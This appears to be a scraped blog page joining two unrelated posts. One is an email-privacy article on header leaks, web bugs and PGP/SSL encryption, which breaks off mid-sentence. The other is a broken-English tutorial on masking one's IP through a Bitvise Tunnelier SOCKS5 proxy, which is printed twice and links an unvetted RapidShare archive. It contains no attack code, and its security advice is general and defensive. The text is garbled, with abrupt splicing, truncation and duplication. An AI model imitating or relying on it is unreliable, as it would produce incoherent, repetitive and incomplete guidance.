Senders email software: Microsoft Outlook Express 5.00.2615.2000 (this version's known bugs could be used for sending a troyan to the computer)
Senders local time zone: -0800 (PST) US Pacific coast (points to the geographic location of the computer)
Senders native language: charset="GB2312" – Chinese char set (the user's probably a member of the local Chinese community)
It should be noted, that only three lines in the message headers were explicitly supplied by the sender: "from" address, "to" address and "subject" line. All other data was inserted by email software and intermediate servers. Usually users have no control over these headers, but these headers are the most dangerous for email privacy and contain lot of information about the sender. There is no problem to track the message sender using headers data.
Secure email software.
Using right email software is an important point for email security. If you are using buggy email software you are open to hacker attacks since email message contains your email software vendor and version number. There will be enough info to write a specially formatted (to use your email software security vulnerabilities) message to hung your computer or infect it by Trojan. If somebody suspects you to store confidential information on your computer he/she can try to hack in to get it. All the attacker needs to start is your IP address from email message header. Using security holes in your computer software (new Windows vulnerabilities are published almost daily) attacker can gain full access to your computer and in worst case obtain all your email passwords, banking and investment account data, private correspondence, business data etc. All this horror scenarios are not a myth but today's reality, just search on Google on companies offering spying over the Internet. If your competitors can afford spending hundred dollars to know your secrets you are in danger.
Web bugs.
How can be web browsing related to emailing you may ask? It's simple. Most of email applications are capable to display HTML formatted email messages. This is not different from viewing a regular web page, but the web page is displayed in your email software window, not in a browser. When viewing web pages in your email window you are taking the same risk as when browsing, e.g. you have to deal with cookies, Java Scripts, Java, ActiveX controls, etc. IP anonymity and data interception issues should be taken into consideration as well.
There is one popular spying technique: web bugs. To illustrate how they work let us imagine that you are running some online business and have received an email message (possibly business related) form some unknown person:
From: someuser@yahoo.com
To: customer@foobar.com
Subject: Hello!
Hello!
How are you?
I'm fine.
David.
To attract your attention your full name or your company name can be written in "Subject" line. You have opened this message, and after reading it and considering it to be spam you through it away. But you have not noticed that the message was HTML formatted, and it contained an image. Dot symbol after the word "fine" was replaced by a small image, and that image was automatically downloaded from some website by your email software when you had opened the message. Now, the email sender after analyzing web server logs can get some information on you: date and time you have read this email, your IP address, operating system, etc.
All this means that your email privacy can be compromised when you simply open an email message, even without replying to it.
2. How to protect your email privacy.
Even if you have nothing to hide it is a good idea to take care of your email privacy. We have developed recommendations on how to make emailing secure and private as much as possible.
2.1 Use encryption to protect your email messages. The only way to protect email messages from the interception is to encrypt them. There are few techniques to do so.
* PGP and S\MIME encryption. Both PGP and S\MIME encryption are used to encrypt message body only, leaving message headers unprotected. PGP and S\MIME can be used if you require end-to-end encryption. Using those methods requires prior agreement between parties, and "public key" exchange should be done before emailing securely.
* SSL encrypted connection to mail server. SSL can be successfully used to encrypt email traffic in the whole. SSL encrypted transport prevents from message headers and message body interception on the way to/from the mail server while sending/receiving email. SSL can be used to effectively protect from intercepting your email traffic by ISP or government agencies.
Please note, PGP and S\MIME do not provide anonymity. Even if you encrypt email messages with PGP or S/MIME the message headers still remain open, and will be transferred in clear text through the Internet. You have to understand that unencrypted "To:", "From:", "Subject:", etc. fields may disclose your identity and can contain confidential information. In addition to PGP or S/MIME, SSL connection
Fake Your IP with SSH Tunnelier & SSH Host Account
Video Guilde Download Link:
http://rapidshare.com/files/208132514/SSH_SOCK_Tunnelier.rar
File Name: SSH_SOCK_Tunnelier.rar
Size: 2002 KB
Status: Normal Download
First We need to install Bitvise Tunnelier software (required)
And and SSH host Account (or SSH File Save)
- You can download the Tunnelier for FREE at www.bitvise.com
- Then install it on your PC
Download Link:
http://dl.bitvise.com/Tunnelier-Inst.exe
Mirror:
http://dl.bitvise.com.s3-external-3.amazonaws.com/Tunnelier-Inst.exe
- Here I show how to use SSH Sock with a SSH File Save
- That is SSH File Save, open it. With SSH File Save you no need to do anything than run it by click Login
- before using just check what port of the SSH File Save
Click Services and see what port ^^... here is 7210
- OK now run the SSH File Save by click Login
- OK and it said succeeded. (we successfully connected with SSH host account)
Now change your Browser Setting to use with SSH to fake your IP
(we can Minimize the SSH File Save).
- In browser, at SOCKS HOST (Sock IP) must always use:
127.0.0.1
- And the Port is the SSH Port. Sock type is SOCK5
- Then check our IP after faking at http://ip-address.domaintools.com
- And we have done ^^
Remember keep the SSH File Save run and how to know the SSH run or NOT? It's very simple, just look the small icon of the SSH Sock at the Taskbar ...
When you need to remove faking SSH Sock, just simply do as me ... And we have done
Video Guilde Download Link:
http://rapidshare.com/files/208132514/SSH_SOCK_Tunnelier.rar
File Name: SSH_SOCK_Tunnelier.rar
Size: 2002 KB
Status: Normal Download
First We need to install Bitvise Tunnelier software (required)
And and SSH host Account (or SSH File Save)
- You can download the Tunnelier for FREE at www.bitvise.com
- Then install it on your PC
Download Link:
http://dl.bitvise.com/Tunnelier-Inst.exe
Mirror:
http://dl.bitvise.com.s3-external-3.amazonaws.com/Tunnelier-Inst.exe
- Here I show how to use SSH Sock with a SSH File Save
- That is SSH File Save, open it. With SSH File Save you no need to do anything than run it by click Login
- before using just check what port of the SSH File Save
Click Services and see what port ^^... here is 7210
- OK now run the SSH File Save by click Login
- OK and it said succeeded. (we successfully connected with SSH host account)
Now change your Browser Setting to use with SSH to fake your IP
(we can Minimize the SSH File Save).
- In browser, at SOCKS HOST (Sock IP) must always use:
127.0.0.1
- And the Port is the SSH Port. Sock type is SOCK5
- Then check our IP after faking at http://ip-address.domaintools.com
- And we have done ^^
Remember keep the SSH File Save run and how to know the SSH run or NOT? It's very simple, just look the small icon of the SSH Sock at the Taskbar ...
When you need to remove faking SSH Sock, just simply do as me ... And we have done
Subscribe to:
Posts (Atom)